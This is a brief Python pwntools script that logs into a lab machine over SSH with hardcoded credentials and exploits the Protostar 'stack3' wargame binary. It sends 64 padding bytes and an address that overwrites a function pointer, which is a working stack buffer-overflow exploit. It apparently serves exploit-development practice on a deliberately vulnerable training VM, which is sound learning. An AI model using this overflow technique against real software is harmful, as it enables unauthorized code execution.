from pwn import *

HOST = '192.168.32.143'
USERNAME = 'user'
PASS = 'user'
PORT=22

s = ssh(host=HOST, user=USERNAME, password=PASS, port=PORT)

directorio = "/opt/protostar/bin"
binario = '%s/stack3' % directorio
r = s.run(binario)
r.sendline('A'*64+"\x24\x84\x04\x08")
print r.recvall()
